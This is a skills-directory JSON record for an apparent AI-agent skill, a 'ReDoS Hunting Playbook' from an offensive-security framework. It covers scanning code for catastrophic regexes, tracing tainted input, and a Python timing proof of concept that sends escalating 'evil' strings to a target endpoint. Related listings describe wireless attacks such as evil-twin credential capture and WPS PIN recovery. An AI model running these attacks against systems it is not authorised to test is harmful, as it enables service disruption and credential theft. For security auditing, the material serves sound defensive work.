[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M797THNBSEWEEF6XE6KY95CF":3,"skill-same:01M797THNBSEWEEF6XE6KY95CF":51},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":16,"categories":17,"keywords":18,"publishedAt":19,"linkOnly":20,"markdownContent":21,"markdownBody":22,"frontMatter":23,"refName":30,"commitSha":31,"skillDirectory":32,"forksCount":33,"repositoryHtmlUrl":34,"repositoryHomepageUrl":6,"ownerHtmlUrl":35,"ownerBlogUrl":6,"ownerDescription":6,"updatedAt":36,"install":37,"resources":50},"01M797THNBSEWEEF6XE6KY95CF","redos",null,"Hunt ReDoS (CWE-1333, Catastrophic Backtracking) — identify regexes with nested quantifiers or overlapping alternation that cause super-linear matching time, trace tainted input paths to regex sinks, demonstrate timing PoC, and validate with response-time delta. Covers PCRE\u002FRE2\u002FV8\u002FPython re engine differences. Triggers on: 'ReDoS', 'regex denial', 'catastrophic backtracking', 'redos', 'regex complexity', 'nested quantifiers', 'regex amplification', 'CWE-1333'.","7ShIkI3\u002FDecepticon-x-DarkTriad","7ShIkI3","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F78133376?v=4","01M797CTK5AHH2161YVG93NJ3B","Raphael Pascaud","01M797CTKRQS64R01J7E6TJSEM",3,"Apache-2.0","https:\u002F\u002Fgithub.com\u002F7ShIkI3\u002FDecepticon-x-DarkTriad\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fanalyst\u002Fredos\u002FSKILL.md",[],[],"2026-11-15 14:19:17",false,"---\nname: redos\ndescription: \"Hunt ReDoS (CWE-1333, Catastrophic Backtracking) — identify regexes with nested quantifiers or overlapping alternation that cause super-linear matching time, trace tainted input paths to regex sinks, demonstrate timing PoC, and validate with response-time delta. Covers PCRE\u002FRE2\u002FV8\u002FPython re engine differences. Triggers on: 'ReDoS', 'regex denial', 'catastrophic backtracking', 'redos', 'regex complexity', 'nested quantifiers', 'regex amplification', 'CWE-1333'.\"\nallowed-tools: Bash Read Write\nmetadata:\n  subdomain: web-exploitation\n  when_to_use: \"redos regex denial catastrophic backtracking regex complexity nested quantifiers regex amplification cwe-1333 pcre re2 v8\"\n  tags: redos, regex, dos, backtracking, cwe-1333, denial-of-service\n  mitre_attack: T1499.004\n---\n\n# ReDoS Hunting Playbook\n\nRegular Expression Denial of Service exploits O(2^n) or O(n^2) matching\ntime in backtracking engines. One crafted string can peg a CPU thread for\nseconds or minutes against an otherwise tiny pattern.\n\n## 1. Identify Backtracking Engines in Scope\n\nNot all regex engines backtrack:\n\n| Engine | Language\u002FRuntime | Backtracks? | Vulnerable? |\n|--------|----------------|-------------|-------------|\n| PCRE \u002F PCRE2 | C, PHP, Apache, nginx | Yes | YES |\n| `re` module | Python (pre-3.11 `re`, `regex`) | Yes | YES |\n| `java.util.regex` | Java | Yes | YES |\n| `RegExp` | JavaScript \u002F V8 | Yes | YES |\n| `System.Text.RegularExpressions` | .NET | Yes (w\u002F timeout option) | YES |\n| `regexp` package | Go | DFA-based (RE2) | NO |\n| `Oniguruma` | Ruby | Yes | YES |\n| RE2 | C++, re2 Python binding | DFA-based | NO |\n\nIf the target uses RE2 or Go's `regexp`, skip this playbook — no\nbacktracking, no ReDoS.\n\n## 2. Source Patterns — Where Tainted Input Reaches Regex\n\n```bash\n# Python\ngrep -rn 're\\.match\\|re\\.search\\|re\\.fullmatch\\|re\\.compile\\|regex\\.match' \u002Fworkspace\u002Fsrc \\\n  | grep -v '#' | grep -v 'test_' | grep -v '_test\\.py'\n\n# Node.js \u002F TypeScript\ngrep -rn 'new RegExp\\|\\.match(\\|\\.search(\\|\\.test(' \u002Fworkspace\u002Fsrc \\\n  --include='*.js' --include='*.ts' | grep -v 'node_modules'\n\n# Java\ngrep -rn 'Pattern\\.compile\\|\\.matches(\\|\\.find(\\|String\\.matches' \u002Fworkspace\u002Fsrc \\\n  --include='*.java'\n\n# PHP\ngrep -rn 'preg_match\\|preg_replace\\|preg_split' \u002Fworkspace\u002Fsrc --include='*.php'\n\n# Ruby\ngrep -rn 'match\\|=~\\|Regexp\\.new\\|\\.scan(' \u002Fworkspace\u002Fsrc --include='*.rb' \\\n  | grep -v '#'\n\n# Semgrep for tainted-input-to-regex-sink\nsemgrep --config p\u002Fregex \u002Fworkspace\u002Fsrc --sarif -o \u002Fworkspace\u002Fsem-redos.sarif 2>\u002Fdev\u002Fnull\n```\n\nFor each hit, determine whether the regex pattern is:\n- **Static** (hardcoded string literal) → scan the pattern itself\n- **Dynamic** (constructed from user input) → separate vuln class (regex injection);\n  flag it and continue\n\n## 3. Catastrophic Pattern Recognition\n\nA regex is potentially catastrophic if it can match the same character\nthrough multiple paths. The two canonical forms:\n\n### Form 1: Nested quantifiers\n`(a+)+`, `(a*)*`, `([a-z]+)+`, `(a|a)+`\n\nThe inner group can match one character in multiple ways → exponential\nbacktracking on a string like `aaaa...b`.\n\n### Form 2: Overlapping alternation\n`(a|aa)+`, `(a|ab)+c`, `(x+|y+)+z`\n\nTwo branches can match the same prefix → exponential when neither\neventually matches the suffix.\n\n### Quick pattern scanner\n```bash\n# Find potentially catastrophic regexes (grep heuristic)\ngrep -rn \"$(printf \\\n  '(\\([^)]*[+*][^)]*\\)[+*])\\|(\\([^)]*|\\[^)]*\\)[+*])\\|(\\([^)]*[+*]\\)\\{[2-9]\\})')\" \\\n  \u002Fworkspace\u002Fsrc 2>\u002Fdev\u002Fnull | grep -v 'node_modules\\|\\.min\\.js'\n\n# Better: use vuln-regex-detector (if available)\npython3 -c \"\nimport subprocess, json, os, sys\n# Try to find all regex literals in Python files\nimport ast, glob\nfor path in glob.glob('\u002Fworkspace\u002Fsrc\u002F**\u002F*.py', recursive=True):\n    try:\n        tree = ast.parse(open(path).read())\n        for node in ast.walk(tree):\n            if isinstance(node, ast.Call):\n                fn = getattr(node.func, 'attr', '') or getattr(node.func, 'id', '')\n                if fn in ('compile','match','search','fullmatch'):\n                    for arg in node.args:\n                        if isinstance(arg, ast.Constant) and isinstance(arg.value, str):\n                            print(path, node.lineno, repr(arg.value))\n    except Exception:\n        pass\n\" 2>\u002Fdev\u002Fnull | head -50\n```\n\nPatterns warranting deeper analysis (flag these):\n- Any group with a quantifier inside a quantifier: `(X+)+`, `(X*)+`, `(X+)*`\n- Alternation where branches share a prefix: `(ab|a)+`, `(abc|ab)+`\n- Long character classes under a star inside a group under a star: `([a-z ]+)+`\n\n## 4. Taint Heuristics — Is This Reachable?\n\nFor each flagged regex, trace whether attacker-controlled data reaches the\n`pattern`, the `string` argument, or both:\n\n1. `string` tainted, `pattern` static → ReDoS possible if pattern is vulnerable\n2. `pattern` tainted → also check for Regex Injection (attacker adds their own\n   quantifiers → instant ReDoS)\n3. Both tainted → highest risk\n\nFor web endpoints, check:\n- URL path \u002F query param → regex for routing or validation\n- HTTP body field → input validation regex\n- Header (User-Agent, Content-Type) → server-side validation\n\n## 5. Timing PoC Construction\n\nA valid PoC must demonstrate measurable time difference between a benign\nand a malicious input against the same endpoint.\n\n### Evil string generation\n\nFor a vulnerable pattern `(a+)+$` on a string of length n:\n- Malicious: `\"a\" * n + \"b\"` (forces full backtracking on the trailing `b`)\n- Benign: `\"a\" * n` (matches instantly)\n\nGeneral evil-string construction:\n1. Identify the \"pump\" character (what the repeating group matches)\n2. Append a character that breaks the match at the end\n3. Scale the pump length until response time > 3× normal\n\n```python\nimport time, requests\n\nTARGET = \"https:\u002F\u002F\u003CTARGET>\u002Fapi\u002Fvalidate\"\nPUMP = \"a\"\nFAIL = \"!\"\n\nfor n in [10, 100, 500, 1000, 5000, 10000]:\n    evil = PUMP * n + FAIL\n    benign = PUMP * n\n\n    t0 = time.time(); requests.post(TARGET, json={\"input\": benign},  timeout=30); t_benign = time.time()-t0\n    t0 = time.time(); requests.post(TARGET, json={\"input\": evil},    timeout=30); t_evil   = time.time()-t0\n\n    print(f\"n={n}: benign={t_benign:.3f}s  evil={t_evil:.3f}s  ratio={t_evil\u002Fmax(t_benign,0.001):.1f}x\")\n    if t_evil > 3.0:\n        print(\">> CONFIRMED REDOS — halting to avoid DoS\")\n        break\n```\n\n## 6. Validate Finding Contract\n\nUse `validate_finding` with:\n\n```\nsuccess_patterns:\n  - \"\u003Ctime_evil> > 2.0\"        # or match pattern in response body if timed-out\n  - \"Response time delta > 2s\"\n\nnegative_command: same request with a short benign input (n=5)\nnegative_patterns: [\"\u003C 0.1s\", \"\u003C 0.5s\"]\n```\n\nMinimum bar for a valid ReDoS finding:\n- Malicious input takes ≥ 3× longer than benign input of similar length\n- Time scales super-linearly with input length (not just 3× at n=100)\n- The pattern is reachable without authentication, OR the impact is\n  amplified by concurrent requests (even authenticated paths can be DoS)\n\n## 7. Engine-Specific Notes\n\n### JavaScript (V8)\nV8 added backtrack-limit mitigations in Node 16+ and Chrome 93+\n(`RegExp.prototype.exec` timeout, but controllable via `--max-old-space-size`).\nStill exploitable with long inputs or on older Node versions.\n\n### Python `re`\nNo backtrack limit by default. `re.fullmatch` on complex patterns blocks\nthe event loop in async frameworks (FastAPI, aiohttp) — single thread DoS.\nTest with: `python3 -c \"import re,time; t=time.time(); re.match(r'(a+)+$','a'*25+'b'); print(time.time()-t,'s')\"`.\n\n### Java `java.util.regex`\nThread-blocking. Servlet containers \u002F Spring endpoints that call\n`Pattern.matches(taintedOrBadPattern, input)` without timeout will pin a\nthread. Test with `StopWatch` timing.\n\n### PHP `preg_match`\nHas `pcre.backtrack_limit` (default 1000000) and `pcre.recursion_limit`\n(default 100000). Hitting limits returns `false` (not an error by default),\nbut causes CPU spike before the limit kicks in.\n\n## 8. Default CVSS\n\n| Scenario | CVSS | Score |\n|----------|------|-------|\n| Unauthenticated endpoint, n=10K → 10s+ | AV:N\u002FAC:L\u002FPR:N\u002FUI:N\u002FS:U\u002FC:N\u002FI:N\u002FA:H | 7.5 |\n| Authenticated, single user DoS | AV:N\u002FAC:L\u002FPR:L\u002FUI:N\u002FS:U\u002FC:N\u002FI:N\u002FA:H | 6.5 |\n| Async framework (entire event loop blocked) | AV:N\u002FAC:L\u002FPR:N\u002FUI:N\u002FS:C\u002FC:N\u002FI:N\u002FA:H | 8.6 |\n\n## 9. Chain Promotion\n\nReDoS alone is a DoS primitive. Promote via:\n- `enables` edge to availability impact node\n- If the endpoint is in a critical auth or payment path → escalate severity\n- If the regex also leaks match groups (regex injection) → dual vuln class\n\n```\nkg_add_node(\"vulnerability\", \"ReDoS in \u002Fapi\u002Fvalidate::input\",\n  props={\"pattern\": \"(a+)+$\", \"file\": \"api\u002Fvalidators.py\", \"line\": 42,\n         \"cwe\": \"CWE-1333\", \"evil_input_len\": 10000, \"evil_time_s\": 12.3,\n         \"key\": \"redos:api-validate-input\"})\n```\n","# ReDoS Hunting Playbook\n\nRegular Expression Denial of Service exploits O(2^n) or O(n^2) matching\ntime in backtracking engines. One crafted string can peg a CPU thread for\nseconds or minutes against an otherwise tiny pattern.\n\n## 1. Identify Backtracking Engines in Scope\n\nNot all regex engines backtrack:\n\n| Engine | Language\u002FRuntime | Backtracks? | Vulnerable? |\n|--------|----------------|-------------|-------------|\n| PCRE \u002F PCRE2 | C, PHP, Apache, nginx | Yes | YES |\n| `re` module | Python (pre-3.11 `re`, `regex`) | Yes | YES |\n| `java.util.regex` | Java | Yes | YES |\n| `RegExp` | JavaScript \u002F V8 | Yes | YES |\n| `System.Text.RegularExpressions` | .NET | Yes (w\u002F timeout option) | YES |\n| `regexp` package | Go | DFA-based (RE2) | NO |\n| `Oniguruma` | Ruby | Yes | YES |\n| RE2 | C++, re2 Python binding | DFA-based | NO |\n\nIf the target uses RE2 or Go's `regexp`, skip this playbook — no\nbacktracking, no ReDoS.\n\n## 2. Source Patterns — Where Tainted Input Reaches Regex\n\n```bash\n# Python\ngrep -rn 're\\.match\\|re\\.search\\|re\\.fullmatch\\|re\\.compile\\|regex\\.match' \u002Fworkspace\u002Fsrc \\\n  | grep -v '#' | grep -v 'test_' | grep -v '_test\\.py'\n\n# Node.js \u002F TypeScript\ngrep -rn 'new RegExp\\|\\.match(\\|\\.search(\\|\\.test(' \u002Fworkspace\u002Fsrc \\\n  --include='*.js' --include='*.ts' | grep -v 'node_modules'\n\n# Java\ngrep -rn 'Pattern\\.compile\\|\\.matches(\\|\\.find(\\|String\\.matches' \u002Fworkspace\u002Fsrc \\\n  --include='*.java'\n\n# PHP\ngrep -rn 'preg_match\\|preg_replace\\|preg_split' \u002Fworkspace\u002Fsrc --include='*.php'\n\n# Ruby\ngrep -rn 'match\\|=~\\|Regexp\\.new\\|\\.scan(' \u002Fworkspace\u002Fsrc --include='*.rb' \\\n  | grep -v '#'\n\n# Semgrep for tainted-input-to-regex-sink\nsemgrep --config p\u002Fregex \u002Fworkspace\u002Fsrc --sarif -o \u002Fworkspace\u002Fsem-redos.sarif 2>\u002Fdev\u002Fnull\n```\n\nFor each hit, determine whether the regex pattern is:\n- **Static** (hardcoded string literal) → scan the pattern itself\n- **Dynamic** (constructed from user input) → separate vuln class (regex injection);\n  flag it and continue\n\n## 3. Catastrophic Pattern Recognition\n\nA regex is potentially catastrophic if it can match the same character\nthrough multiple paths. The two canonical forms:\n\n### Form 1: Nested quantifiers\n`(a+)+`, `(a*)*`, `([a-z]+)+`, `(a|a)+`\n\nThe inner group can match one character in multiple ways → exponential\nbacktracking on a string like `aaaa...b`.\n\n### Form 2: Overlapping alternation\n`(a|aa)+`, `(a|ab)+c`, `(x+|y+)+z`\n\nTwo branches can match the same prefix → exponential when neither\neventually matches the suffix.\n\n### Quick pattern scanner\n```bash\n# Find potentially catastrophic regexes (grep heuristic)\ngrep -rn \"$(printf \\\n  '(\\([^)]*[+*][^)]*\\)[+*])\\|(\\([^)]*|\\[^)]*\\)[+*])\\|(\\([^)]*[+*]\\)\\{[2-9]\\})')\" \\\n  \u002Fworkspace\u002Fsrc 2>\u002Fdev\u002Fnull | grep -v 'node_modules\\|\\.min\\.js'\n\n# Better: use vuln-regex-detector (if available)\npython3 -c \"\nimport subprocess, json, os, sys\n# Try to find all regex literals in Python files\nimport ast, glob\nfor path in glob.glob('\u002Fworkspace\u002Fsrc\u002F**\u002F*.py', recursive=True):\n    try:\n        tree = ast.parse(open(path).read())\n        for node in ast.walk(tree):\n            if isinstance(node, ast.Call):\n                fn = getattr(node.func, 'attr', '') or getattr(node.func, 'id', '')\n                if fn in ('compile','match','search','fullmatch'):\n                    for arg in node.args:\n                        if isinstance(arg, ast.Constant) and isinstance(arg.value, str):\n                            print(path, node.lineno, repr(arg.value))\n    except Exception:\n        pass\n\" 2>\u002Fdev\u002Fnull | head -50\n```\n\nPatterns warranting deeper analysis (flag these):\n- Any group with a quantifier inside a quantifier: `(X+)+`, `(X*)+`, `(X+)*`\n- Alternation where branches share a prefix: `(ab|a)+`, `(abc|ab)+`\n- Long character classes under a star inside a group under a star: `([a-z ]+)+`\n\n## 4. Taint Heuristics — Is This Reachable?\n\nFor each flagged regex, trace whether attacker-controlled data reaches the\n`pattern`, the `string` argument, or both:\n\n1. `string` tainted, `pattern` static → ReDoS possible if pattern is vulnerable\n2. `pattern` tainted → also check for Regex Injection (attacker adds their own\n   quantifiers → instant ReDoS)\n3. Both tainted → highest risk\n\nFor web endpoints, check:\n- URL path \u002F query param → regex for routing or validation\n- HTTP body field → input validation regex\n- Header (User-Agent, Content-Type) → server-side validation\n\n## 5. Timing PoC Construction\n\nA valid PoC must demonstrate measurable time difference between a benign\nand a malicious input against the same endpoint.\n\n### Evil string generation\n\nFor a vulnerable pattern `(a+)+$` on a string of length n:\n- Malicious: `\"a\" * n + \"b\"` (forces full backtracking on the trailing `b`)\n- Benign: `\"a\" * n` (matches instantly)\n\nGeneral evil-string construction:\n1. Identify the \"pump\" character (what the repeating group matches)\n2. Append a character that breaks the match at the end\n3. Scale the pump length until response time > 3× normal\n\n```python\nimport time, requests\n\nTARGET = \"https:\u002F\u002F\u003CTARGET>\u002Fapi\u002Fvalidate\"\nPUMP = \"a\"\nFAIL = \"!\"\n\nfor n in [10, 100, 500, 1000, 5000, 10000]:\n    evil = PUMP * n + FAIL\n    benign = PUMP * n\n\n    t0 = time.time(); requests.post(TARGET, json={\"input\": benign},  timeout=30); t_benign = time.time()-t0\n    t0 = time.time(); requests.post(TARGET, json={\"input\": evil},    timeout=30); t_evil   = time.time()-t0\n\n    print(f\"n={n}: benign={t_benign:.3f}s  evil={t_evil:.3f}s  ratio={t_evil\u002Fmax(t_benign,0.001):.1f}x\")\n    if t_evil > 3.0:\n        print(\">> CONFIRMED REDOS — halting to avoid DoS\")\n        break\n```\n\n## 6. Validate Finding Contract\n\nUse `validate_finding` with:\n\n```\nsuccess_patterns:\n  - \"\u003Ctime_evil> > 2.0\"        # or match pattern in response body if timed-out\n  - \"Response time delta > 2s\"\n\nnegative_command: same request with a short benign input (n=5)\nnegative_patterns: [\"\u003C 0.1s\", \"\u003C 0.5s\"]\n```\n\nMinimum bar for a valid ReDoS finding:\n- Malicious input takes ≥ 3× longer than benign input of similar length\n- Time scales super-linearly with input length (not just 3× at n=100)\n- The pattern is reachable without authentication, OR the impact is\n  amplified by concurrent requests (even authenticated paths can be DoS)\n\n## 7. Engine-Specific Notes\n\n### JavaScript (V8)\nV8 added backtrack-limit mitigations in Node 16+ and Chrome 93+\n(`RegExp.prototype.exec` timeout, but controllable via `--max-old-space-size`).\nStill exploitable with long inputs or on older Node versions.\n\n### Python `re`\nNo backtrack limit by default. `re.fullmatch` on complex patterns blocks\nthe event loop in async frameworks (FastAPI, aiohttp) — single thread DoS.\nTest with: `python3 -c \"import re,time; t=time.time(); re.match(r'(a+)+$','a'*25+'b'); print(time.time()-t,'s')\"`.\n\n### Java `java.util.regex`\nThread-blocking. Servlet containers \u002F Spring endpoints that call\n`Pattern.matches(taintedOrBadPattern, input)` without timeout will pin a\nthread. Test with `StopWatch` timing.\n\n### PHP `preg_match`\nHas `pcre.backtrack_limit` (default 1000000) and `pcre.recursion_limit`\n(default 100000). Hitting limits returns `false` (not an error by default),\nbut causes CPU spike before the limit kicks in.\n\n## 8. Default CVSS\n\n| Scenario | CVSS | Score |\n|----------|------|-------|\n| Unauthenticated endpoint, n=10K → 10s+ | AV:N\u002FAC:L\u002FPR:N\u002FUI:N\u002FS:U\u002FC:N\u002FI:N\u002FA:H | 7.5 |\n| Authenticated, single user DoS | AV:N\u002FAC:L\u002FPR:L\u002FUI:N\u002FS:U\u002FC:N\u002FI:N\u002FA:H | 6.5 |\n| Async framework (entire event loop blocked) | AV:N\u002FAC:L\u002FPR:N\u002FUI:N\u002FS:C\u002FC:N\u002FI:N\u002FA:H | 8.6 |\n\n## 9. Chain Promotion\n\nReDoS alone is a DoS primitive. Promote via:\n- `enables` edge to availability impact node\n- If the endpoint is in a critical auth or payment path → escalate severity\n- If the regex also leaks match groups (regex injection) → dual vuln class\n\n```\nkg_add_node(\"vulnerability\", \"ReDoS in \u002Fapi\u002Fvalidate::input\",\n  props={\"pattern\": \"(a+)+$\", \"file\": \"api\u002Fvalidators.py\", \"line\": 42,\n         \"cwe\": \"CWE-1333\", \"evil_input_len\": 10000, \"evil_time_s\": 12.3,\n         \"key\": \"redos:api-validate-input\"})\n```\n",{"name":5,"metadata":24,"description":7,"allowed-tools":29},{"tags":25,"subdomain":26,"when_to_use":27,"mitre_attack":28},"redos, regex, dos, backtracking, cwe-1333, denial-of-service","web-exploitation","redos regex denial catastrophic backtracking regex complexity nested quantifiers regex amplification cwe-1333 pcre re2 v8","T1499.004","Bash Read Write","main","42b918525fb79065e730da3da997bffb33fcd414","packages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fanalyst\u002Fredos",0,"https:\u002F\u002Fgithub.com\u002F7ShIkI3\u002FDecepticon-x-DarkTriad","https:\u002F\u002Fgithub.com\u002F7ShIkI3","2026-07-22 19:02:27",{"source":8,"skillName":5,"commands":38,"prompt":48,"zipAvailable":49},[39,42,45],{"tool":40,"command":41},"npx","npx skills add 7ShIkI3\u002FDecepticon-x-DarkTriad --skill redos",{"tool":43,"command":44},"bunx","bunx skills add 7ShIkI3\u002FDecepticon-x-DarkTriad --skill redos",{"tool":46,"command":47},"pnpm","pnpm dlx skills add 7ShIkI3\u002FDecepticon-x-DarkTriad --skill redos","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002F7ShIkI3\u002FDecepticon-x-DarkTriad\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fanalyst\u002Fredos\u002FSKILL.md",true,[],[52,59,66,73,80,87],{"skillNo":53,"name":54,"nameZh":6,"description":55,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":56,"categories":57,"keywords":58,"publishedAt":19},"01M798TNHEBA4Y67TJJ7W0KBDD","wps-pixie-dust","WPS Pixie-Dust offline nonce attack (reaver -K \u002F pixiewps) and fallback online PIN brute (bully) to recover the AP's WPA PSK without capturing a handshake.","https:\u002F\u002Fgithub.com\u002F7ShIkI3\u002FDecepticon-x-DarkTriad\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fwps-pixie-dust\u002FSKILL.md",[],[],{"skillNo":60,"name":61,"nameZh":6,"description":62,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":63,"categories":64,"keywords":65,"publishedAt":19},"01M798TH79VR8XM7AAMG0ZKSXX","wpa3-sae","WPA3-SAE transition-mode downgrade (DragonShift), SSID Confusion CVE-2023-52424, Dragonblood side-channels, and SAE captive-portal credential recovery against WPA3-Personal networks.","https:\u002F\u002Fgithub.com\u002F7ShIkI3\u002FDecepticon-x-DarkTriad\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fwpa3-sae\u002FSKILL.md",[],[],{"skillNo":67,"name":68,"nameZh":6,"description":69,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":70,"categories":71,"keywords":72,"publishedAt":19},"01M798TD0E10ZHQN5X362M4HG9","wpa2-psk","WPA\u002FWPA2-PSK handshake capture via targeted deauth + PMKID (no deauth required) + offline hashcat cracking. The most common consumer\u002FSMB encryption mode in 2026.","https:\u002F\u002Fgithub.com\u002F7ShIkI3\u002FDecepticon-x-DarkTriad\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fwpa2-psk\u002FSKILL.md",[],[],{"skillNo":74,"name":75,"nameZh":6,"description":76,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":77,"categories":78,"keywords":79,"publishedAt":19},"01M798T7HFR3NB9WJTK1FESVF9","wpa-enterprise-eap","WPA\u002FWPA2\u002FWPA3-Enterprise (802.1X\u002FEAP) rogue-RADIUS evil-twin for MSCHAPv2 capture, GTC downgrade, and PEAP relay. MSCHAPv2 capture equals a NetNTLM hash — the primary wireless on-ramp to Active Directory.","https:\u002F\u002Fgithub.com\u002F7ShIkI3\u002FDecepticon-x-DarkTriad\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fwpa-enterprise-eap\u002FSKILL.md",[],[],{"skillNo":81,"name":82,"nameZh":6,"description":83,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":84,"categories":85,"keywords":86,"publishedAt":19},"01M798T38B4SV0T87VQK56KPHC","krack-fragattacks","KRACK key-reinstallation (CVE-2017-13077..13082) and FragAttacks fragmentation\u002Faggregation flaws (CVE-2020-24586..24588, CVE-2020-26139..26147) against legacy or embedded 802.11 supplicants with poor patch cadence.","https:\u002F\u002Fgithub.com\u002F7ShIkI3\u002FDecepticon-x-DarkTriad\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fkrack-fragattacks\u002FSKILL.md",[],[],{"skillNo":88,"name":89,"nameZh":6,"description":90,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":91,"categories":92,"keywords":93,"publishedAt":19},"01M798SXTNF0RP1DXKQEWFVQ9H","evil-twin-karma","Evil-twin rogue AP with KARMA\u002FMana PNL-probe response, captive-portal credential capture, and post-association MITM for PSK\u002Fopen networks. Distinct from wpa-enterprise-eap which targets 802.1X.","https:\u002F\u002Fgithub.com\u002F7ShIkI3\u002FDecepticon-x-DarkTriad\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fevil-twin-karma\u002FSKILL.md",[],[]]